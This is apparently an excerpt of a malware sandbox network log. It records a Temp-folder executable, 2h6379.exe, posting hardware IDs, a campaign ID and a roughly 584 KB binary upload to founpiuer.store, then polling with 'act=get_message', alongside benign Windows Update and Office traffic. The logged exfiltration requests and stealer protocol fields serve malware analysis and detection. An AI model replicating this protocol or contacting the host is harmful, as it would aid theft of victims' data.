2024-11-05 09:13:06 UTC	1273	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 30 38 38 46 36 43 37 39 39 36 34 37 35 31 37 42 30 38 38 30 31 34 36 36 32 31 32 46 31 46 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D088F6C799647517B08801466212F1F1--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-05 09:13:07 UTC	1012	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3ab70876nj41l3llvgb03m64h4; expires=Sat, 01-Mar-2025 02:59:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=n0QO7AscRoCcO2lEb2lXEBm9eRvhYaBwVkWgFpWQHrE45yIXzLPlPv6YqqkaTXa74voVXQvn%2FPUPy80ZkYbQgc5t80orby6eKpzn1%2BGqCk4%2FWaP5qOUu%2FKS7t4b85tjVl3w%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ddbb9d8c9ba6bcc-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1902&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2838&recv_bytes=2278&delivery_rate=1501296&cwnd=250&unsent_bytes=0&cid=26fd44c481312b11&ts=729&x=0"
2024-11-05 09:13:07 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 0d 0a Data Ascii: 11ok 173.254.250.76
2024-11-05 09:13:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49710	104.21.5.155	443	5700	C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:08 UTC	371	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=Ad1twZF74K.8uci5JLNCs3ar1E4QIMh2qJpcEcd8nfE-1730797979-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 584493 Host: founpiuer.store
2024-11-05 09:13:08 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 30 38 38 46 36 43 37 39 39 36 34 37 35 31 37 42 30 38 38 30 31 34 36 36 32 31 32 46 31 46 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D088F6C799647517B08801466212F1F1--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-05 09:13:08 UTC	15331	OUT	Data Raw: d4 5c 60 44 66 3b 5f 4d 0e d3 a9 46 b8 7d 18 16 10 5d 79 e4 ef 92 bf a4 b4 78 92 a3 a2 1c 2c 08 fc 2c e2 9a 03 04 c0 1b 21 3b b5 5a 70 3d c4 e9 c0 98 c6 ed 0a d1 75 8d fa 6d e6 d6 23 09 01 79 b1 65 2c e1 5e a8 b9 5e 80 30 49 8a 54 69 f2 2e b0 b4 6c e7 7e 79 5a b9 49 90 90 de f9 ea 71 21 0b 23 55 d8 f7 e0 13 e6 bb 42 87 3e 2e 4f 9c 56 8e ae 12 04 62 95 93 cf f3 01 75 aa 01 ab 5d 7e 6a c1 a1 d7 e0 d7 d3 d5 4a d7 ff e4 50 b0 38 67 e4 f5 83 50 57 51 d6 e2 6f 6a fb 63 f8 a3 13 0c e0 8b f2 ad b6 07 e5 6d 90 9f fb 05 ec dc 98 1d cf 74 59 ff f3 07 65 ee cc 2a bf bb 95 c0 64 37 24 8f 8c de 1b 7b c0 7e a4 ab d4 29 b0 37 ff 2d b4 1d 75 79 0c d8 25 5f fe b7 a1 b3 ae 1a e1 07 1d 60 0e 87 88 4d 6a 3e 02 38 5e 89 00 49 a6 69 83 39 1a eb 9f cc 2a a0 04 48 a2 b8 3b 28 21 Data Ascii: \`Df;_MF}]yx,,!;Zp=um#ye,^^0ITi.l~yZIq!#UB>.OVbu]~jJP8gPWQojcmtYed7${~)7-uy%_`Mj>8^Ii9H;(!
2024-11-05 09:13:08 UTC	15331	OUT	Data Raw: 54 7d a3 40 18 85 ea 9a 0e 3f ff 53 3c fa 66 99 dd 76 19 49 51 22 fd 13 e5 fb 65 d3 d8 40 83 b2 d7 f4 ce b2 5f f7 df 87 fb 65 c7 c5 c6 6e 68 9d 47 3e ae 9b e7 20 c2 73 5d 16 7d 9e a3 8b 3a ba 26 cb bc b0 b3 1d fd d7 1e 42 36 6d 81 d8 f6 c1 5c ea d7 a8 12 5d ec 6d 3e 65 56 d0 57 00 9c dd a6 07 b9 77 76 cc 30 9c 36 2b 07 96 2a 77 2c d8 1f e0 b5 0f 05 8f 27 2e dc 54 bc 4c af 5b 9f 5f 1c 34 d3 5b 5c d1 a1 ff d1 02 88 9d 8b 51 47 b4 82 72 32 fd 5f 98 6c 4c 3d 75 be 3a 9c a0 b2 b7 7a a6 be db 64 4f 56 d5 36 34 fc 80 41 a4 24 a1 40 bc 99 57 5b 8d f5 20 43 9e 1b ca eb a6 0f fd ef 39 95 a7 01 7d f7 6f ed f1 d0 0b 02 11 17 40 f8 d0 cd 70 0f c0 96 7d 0a c0 49 33 d0 1f 0e fa af cf f8 20 df 16 03 0a cf 89 db fc bf 87 f3 24 1d 15 b0 79 2d 8a a0 67 41 a8 b1 a2 89 21 00 Data Ascii: T}@?S<fvIQ"e@_enhG> s]}:&B6m\]m>eVWwv06+*w,'.TL[_4[\QGr2_lL=u:zdOV64A$@W[ C9}o@p}I3 $y-gA!
2024-11-05 09:13:08 UTC	15331	OUT	Data Raw: b9 47 09 10 fc b7 a4 d0 d1 f1 30 7c b4 57 ec 9f fe ee 61 a9 f2 1c 15 8a e0 e1 e7 b0 93 b2 4a d7 07 ed 7a 4a 68 27 60 59 95 6b 62 fc 56 75 47 cc 0c 95 bf 2a dd cb 04 ed 65 82 c5 d2 76 4c 21 07 60 a9 93 1d 5a 03 78 94 6d d4 27 56 54 10 e4 a2 3e 88 54 8c 17 47 ef d9 cd 2e 3c ca e4 3b 7c 64 bc 82 ae 30 d3 92 25 af a4 e0 1c e6 00 ae c0 32 eb 8c fc 05 1c 62 7b 8d 41 83 cb 2d 84 df 3d fa 99 ed 64 ae 53 aa 07 4f f2 53 38 ad 2b 4c 8a 03 ff c2 ca 57 ec c6 4a fd ab 03 56 cb 2a be a9 92 b6 d4 02 1c 53 aa 9f 9f 7c f0 83 73 10 1c 09 b9 24 02 78 9b 32 48 a4 21 41 1a d8 a5 5c cc 08 14 6a b2 37 76 54 f3 cd 0a b2 94 ae e9 2e 03 84 fd db 5a 51 f3 ec 85 12 c1 d7 62 40 f4 e0 d5 11 47 65 b0 d1 c3 09 e6 48 72 57 67 7d 8a 3e b0 a6 85 38 5b e8 8a 75 55 6a 59 0e 37 f2 9b 5f cf 67 Data Ascii: G0\|WaJzJh'`YkbVuGevL!`Zxm'VT>TG.<;\|d0%2b{A-=dSOS8+LWJVS\|s$x2H!A\j7vT.ZQb@GeHrWg}>8[uUjY7_g
2024-11-05 09:13:08 UTC	15331	OUT	Data Raw: 04 4e 84 48 7e f7 d8 5c 25 ab ab 22 6a ed 9d bc 1e a3 d3 43 3c e7 ae c9 a5 9c 54 e8 e6 cb 4b 12 5e 68 6b 8c 9a e4 f7 a3 37 e4 24 13 bf e3 d0 40 4b 42 30 36 66 0f c6 8b 75 91 81 6a 8f 09 35 35 2d 87 95 1e 8c 3a a9 20 b3 be af 7d ac 5a 9f 63 ea dd ae 8f e0 e3 0e 3a e1 3b de 7f 58 66 7b fe 13 03 2f bf fb 7a ce 44 76 ac cb 9d a2 cf a7 75 45 ee 3f d4 23 38 38 d0 7a 1a 6f 1e 22 0e ef 6f d6 08 27 1c 3c 3c f3 9b 76 d4 32 27 32 91 11 5f 60 2c 30 2e 56 63 af 9b b7 70 66 34 4b 5f c0 cb 57 43 3e 9a 7f 25 bf 43 fd f8 ee 76 38 5e 60 97 d6 e5 d3 c4 cc 08 fc f3 7b ed 5d b9 cb 9c 12 c1 13 f3 3e 97 9d a3 30 c3 d0 3d 79 8c a0 14 62 bd 21 33 98 5d ac 91 fb 42 0a 8f 39 07 f2 f6 08 46 29 53 2a 2e da f5 47 21 16 12 67 6b f5 15 bd ff ef 54 fd ff ef 02 a9 90 e5 09 98 10 1c 58 ad Data Ascii: NH~\%"jC<TK^hk7$@KB06fuj55-: }Zc:;Xf{/zDvuE?#88zo"o'<<v2'2_`,0.Vcpf4K_WC>%Cv8^`{]>0=yb!3]B9F)S*.G!gkTX
2024-11-05 09:13:08 UTC	15331	OUT	Data Raw: 4a fd 22 44 36 ca ae 19 96 e0 c7 f6 b8 83 8c b8 dc 57 d9 d5 30 85 f8 8a f5 b0 13 8e 9f bd 61 ab 4f 7b 13 42 bd c8 5f 2d 04 67 92 d8 bc fa c0 27 b7 a1 19 b5 c5 c2 f5 6f a6 07 c9 96 dc e7 9c 94 d2 fe 11 c2 9b 99 42 8d bd 52 6f 68 c9 bb 1d 75 2e df 2d 7e f7 5a 17 4d a6 eb 80 ba f0 98 d9 8b b3 d4 65 be a1 7c 54 f8 59 c2 a3 3d 1e 41 a9 48 13 85 aa 6b 3e ec e4 c1 b0 b1 d8 36 fb 21 03 1e 94 db 72 64 3d e5 b9 93 87 cf 46 72 0d f1 0c f5 f9 bb b8 93 af 47 05 70 c8 06 53 86 dc 58 55 02 26 2a 00 07 dc 9a cc 65 28 da 99 b0 87 26 be d0 44 5b 02 7d 7c 86 1a 04 41 dc ab c2 2b 87 a7 c6 02 49 fd aa 73 83 a1 46 4a 3f 9b 36 4c 41 a3 85 6a 62 48 3c 12 5b b2 22 a0 af 87 5c db bc e0 9b 3c 34 9b 14 b3 d3 b7 a8 ba f2 d3 3f 28 b5 97 ea 77 8d e4 94 56 f9 a0 b9 08 b2 7e 95 52 ba 5d Data Ascii: J"D6W0aO{B_-g'oBRohu.-~ZMe\|TY=AHk>6!rd=FrGpSXU&*e(&D[}\|A+IsFJ?6LAjbH<["\<4?(wV~R]
2024-11-05 09:13:08 UTC	15331	OUT	Data Raw: b6 20 a8 11 c9 58 65 fb 99 4d da 0e f1 d2 ea 5d 2b eb 5d 89 9a cc 13 88 e8 93 68 2a 08 eb 71 a1 56 33 2b 98 71 4b c7 ee 89 ea c6 dd db ff b9 e0 91 38 8d 7f 89 5f 35 56 89 c6 b3 2c bc d6 7b 05 af b9 e3 c5 d7 2a 30 3c 62 19 e1 11 bd 2a b4 e4 20 c0 d0 36 c8 eb 3e 02 de 1f 55 15 58 58 9e 5c ce aa d1 8d c1 cc 5a 0e 9b 48 23 49 ff 52 52 d6 90 d7 99 2a 11 a2 74 cb e5 64 8a 11 c0 37 13 a9 15 b6 65 3e 67 63 89 55 87 b7 7b be 53 64 77 d2 5b 86 3b df 27 6a f9 96 7a 72 e6 dd 39 3e f4 a5 c5 cf 94 75 f7 77 3f d4 17 7f 02 52 86 0f 23 49 ff 05 82 b6 3f a0 f4 4a cf 8e 18 92 66 7e d7 cb e5 16 f0 30 d2 02 4b cd 9b f6 7e 13 df 39 42 c5 e4 4c 4c 88 29 0e b0 8b 6f 65 bc e8 cc d9 4c fe 6e ab 04 65 d9 64 78 7f f7 4d 47 81 3f 65 48 4e fe 9b ab 20 a3 cd 12 07 3e 8d 70 51 0b 4f 97 Data Ascii: XeM]+]hqV3+qK8_5V,{0<b* 6>UXX\ZH#IRR*td7e>gcU{Sdw[;'jzr9>uw?R#I?Jf~0K~9BLL)oeLnedxMG?eHN >pQO
2024-11-05 09:13:08 UTC	15331	OUT	Data Raw: e7 9b 3a 6d ce 28 46 5b 43 c0 f4 9a ab 20 d4 c4 2a ac df fd 6e e1 4e 42 cb ba 8f 27 bb 6a ae 1f 07 df 32 f4 17 08 84 c0 ca f6 6a 15 e6 57 d9 2d bc df b1 ca f2 c1 ec e2 45 ca e2 b2 7a 20 f3 66 05 42 c8 8b c8 17 25 14 9c ea f4 2d 13 fc 08 d8 c9 d7 a7 f5 e4 97 9e 5a 50 8d 20 d2 b9 56 3b 24 3e 3d 64 41 bd 0d 07 bd 04 0c 0c 66 d6 3b 9a 59 8e 07 79 bb a4 c0 5e e6 d1 86 7a 77 40 d9 87 cf 88 8d 1e 10 01 85 d9 ab fe ad 47 cc 18 af 04 c0 9e 16 58 1d 9f 79 0c 38 89 63 03 9f 8a 75 cd f0 80 03 3c ae 58 e0 72 18 b6 07 76 a3 23 70 29 e6 a5 18 fe cc 3b da b7 51 1f b7 e8 57 5d 04 70 89 9d ae cc 7e 78 6d b0 c9 8c 80 b2 ff 4c e1 83 c6 8f 91 d1 1c ff fd 78 15 86 4a ab 89 5c fb 4f cc 0e c6 ad 0b 4a 58 80 49 93 6d 34 22 1b ac 3a 61 4e 01 b2 39 39 21 c9 53 82 72 12 a0 88 19 f2 Data Ascii: :m(F[C *nNB'j2jW-Ez fB%-ZP V;$>=dAf;Yy^zw@GXy8cu<Xrv#p);QW]p~xmLxJ\OJXIm4":aN99!Sr
2024-11-05 09:13:08 UTC	15331	OUT	Data Raw: 04 50 f0 86 a4 75 e9 7e 62 ec 47 e3 f5 95 07 e5 e7 8e ea 99 a3 3f ea 1c 96 92 f2 de 89 c2 bb 7b 13 0e 6b b8 fd 1d 57 73 36 8f 5a 8c c1 68 46 6b 37 32 a6 f0 0e 20 ec 0f a4 58 fb 01 7a 30 ee 7f 95 76 92 d4 89 22 cf 20 65 15 46 e7 1b e9 2b 01 ad 90 ac 9b 84 1e 5b 67 79 4b 1c 69 88 a6 67 db b4 8d 02 68 8c 18 dd 3a a7 35 3c 5a ef dc c4 48 a7 a4 62 87 6c 74 f2 16 92 c6 c5 6f f1 49 22 76 21 a5 ec 9c 06 a9 1d 42 f3 e2 02 be 16 57 43 af c4 50 2d aa f4 36 d4 93 46 39 f2 fd 2d 1f f1 41 98 67 be 4f 9f 26 81 ba f7 80 56 fb 46 e5 cc 0f 92 dd 11 d3 a9 cd af c1 43 15 3f 48 3a 22 ae 57 20 85 3b 16 75 a3 79 f3 7c d6 b1 26 33 a0 6b e6 cb 20 03 05 ae b4 28 0e d0 5e f3 bc 4f 9f a3 b9 80 18 7f 5e ef 5f e9 c0 6e 92 fd 53 8d 5c 8d f0 be 6b 06 63 75 9d 84 42 5b 72 1b 17 2d c7 bf Data Ascii: Pu~bG?{kWs6ZhFk72 Xz0v" eF+[gyKigh:5<ZHbltoI"v!BWCP-6F9-AgO&VFC?H:"W ;uy\|&3k (^O^_nS\kcuB[r-
2024-11-05 09:13:08 UTC	15331	OUT	Data Raw: 10 4b 2f 33 1f d5 0f 6d 5e e6 5e 04 64 01 68 bc af ce b0 43 d2 3f de d5 7f d7 43 57 f4 bf f0 13 db f3 f6 15 a2 7e 93 e2 4e 1f 73 90 75 5e 68 0b fb 45 54 85 db 8b 50 9e 24 6f 33 70 82 ac 00 19 b6 6e b4 16 e5 ef dd 0b 5b 54 ad f5 ac cb 5b 3f 98 79 1b c6 7b c6 58 49 ec 59 4f d1 c8 a1 99 2e 29 5f 40 39 9b 07 ca 20 7e 9e 92 1d a2 09 03 f7 9d f9 44 14 5c 51 8c e9 7b 60 97 28 de ff ef 2b d4 55 a9 9e 5a da 87 40 e1 b9 e3 36 74 5a 07 49 05 05 b2 54 2f 50 61 38 1c b5 03 2c a0 d6 76 b1 72 69 54 14 8c 8a 47 d1 f0 30 61 10 ae c0 d8 9b 09 62 df 51 01 b1 c5 1d 00 d8 73 39 88 7f 1b 26 18 43 ea 5b 6d df 47 4e 3a e0 de 5e ab d2 df 1d af 9e 23 dc 72 00 8f 3d 47 71 80 28 5e 3f eb b3 ff 16 7c 20 3c 34 b0 83 05 8c 72 c7 b8 e3 84 cf 61 8b 8a 3a 7e ce d7 d5 82 62 d2 ee 68 68 4d Data Ascii: K/3m^^dhC?CW~Nsu^hETP$o3pn[T[?y{XIYO.)_@9 ~D\Q{`(+UZ@6tZIT/Pa8,vriTG0abQs9&C[mGN:^#r=Gq(^?\| <4ra:~bhhM
2024-11-05 09:13:11 UTC	1025	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c3k5acihu1prc5h464as41okgf; expires=Sat, 01-Mar-2025 02:59:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WA6b9yt747%2BvIrSqIRqMDtHXsF%2FipTAfUcYyb8A%2BDkpPEB%2Bz%2BXXqZYPnlCN0mF%2FnT2ZG1rup6NEU61lQ33QitGboXUAH48a6JyuphCKJJN3avT5F00UfsPrRDibp0GRmj%2Fc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ddbb9e3ce74e5ea-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1056&sent=220&recv=621&lost=0&retrans=0&sent_bytes=2837&recv_bytes=587172&delivery_rate=2661764&cwnd=251&unsent_bytes=0&cid=db9b1e6eec773adf&ts=2621&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49711	104.21.5.155	443	5700	C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:11 UTC	352	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=Ad1twZF74K.8uci5JLNCs3ar1E4QIMh2qJpcEcd8nfE-1730797979-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: founpiuer.store
2024-11-05 09:13:11 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 44 30 38 38 46 36 43 37 39 39 36 34 37 35 31 37 42 30 38 38 30 31 34 36 36 32 31 32 46 31 46 31 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=D088F6C799647517B08801466212F1F1
2024-11-05 09:13:12 UTC	1010	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=taede3ophmghu3bvijs71jabkd; expires=Sat, 01-Mar-2025 02:59:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Uv24Bz0rGhN8%2BtruW7zyXznpz8sndHhlaxbYYzkD29OZIn0XKts5M7Ifv7IX7s28O8Zgw4lm9W%2FBTD8eWX7YWT%2FIdl237TC7pVx1NQ8TWEUq89bzQgjBJ3mEBGfkYU6kqG4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ddbb9f82d4c6bf2-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1835&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2839&recv_bytes=1075&delivery_rate=1547835&cwnd=251&unsent_bytes=0&cid=7bdc678f2107d505&ts=499&x=0"
2024-11-05 09:13:12 UTC	214	IN	Data Raw: 64 30 0d 0a 68 48 72 66 52 36 61 6c 39 58 32 76 31 7a 6f 56 78 75 45 53 6e 49 48 4e 33 64 4f 5a 49 42 44 68 39 66 58 54 61 47 41 63 64 49 58 66 41 66 30 79 68 4a 2f 58 46 64 75 6a 53 69 2b 61 7a 6b 36 7a 73 50 58 6f 2f 61 73 52 4a 63 2f 45 78 4f 42 47 55 53 6f 6f 71 76 63 4f 75 69 62 4c 2b 64 6f 50 7a 72 6c 65 65 71 76 50 64 2b 54 6b 37 2f 48 78 2f 31 51 79 32 38 58 5a 38 51 31 43 4a 6b 58 34 71 41 48 39 4d 6f 53 66 31 78 58 62 6f 30 6f 76 6d 73 35 4f 73 37 44 31 36 50 32 72 45 53 58 50 78 4d 54 67 52 6c 45 71 4b 4b 72 72 48 4c 6b 62 69 63 47 51 47 34 47 79 51 6e 44 6b 7a 54 44 36 39 65 2f 6e 34 37 55 43 64 63 50 50 78 4b 34 31 0d 0a Data Ascii: d0hHrfR6al9X2v1zoVxuESnIHN3dOZIBDh9fXTaGAcdIXfAf0yhJ/XFdujSi+azk6zsPXo/asRJc/ExOBGUSooqvcOuibL+doPzrleeqvPd+Tk7/Hx/1Qy28XZ8Q1CJkX4qAH9MoSf1xXbo0ovms5Os7D16P2rESXPxMTgRlEqKKrrHLkbicGQG4GyQnDkzTD69e/n47UCdcPPxK41
2024-11-05 09:13:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49713	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:14 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=EVAab1DREAWYy8M&MD=R3vG8wkV HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-05 09:13:15 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: b3ce0c17-f73a-4d4e-b918-96e29fded8dc MS-RequestId: 11a7a07d-ae90-4f97-b5a8-7e1414f98bfe MS-CV: ebxLLLn+3UWcojt9.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 05 Nov 2024 09:13:14 GMT Connection: close Content-Length: 24490
2024-11-05 09:13:15 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-05 09:13:15 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.5	49716	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:15 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:15 UTC	492	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:15 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Tue, 05 Nov 2024 00:45:17 GMT ETag: "0x8DCFD331E45FB54" x-ms-request-id: d6fc9ab7-901e-008f-8051-2f67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091315Z-157b9fd754ft96xrhC1SN1efqn0000000430000000005n17 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
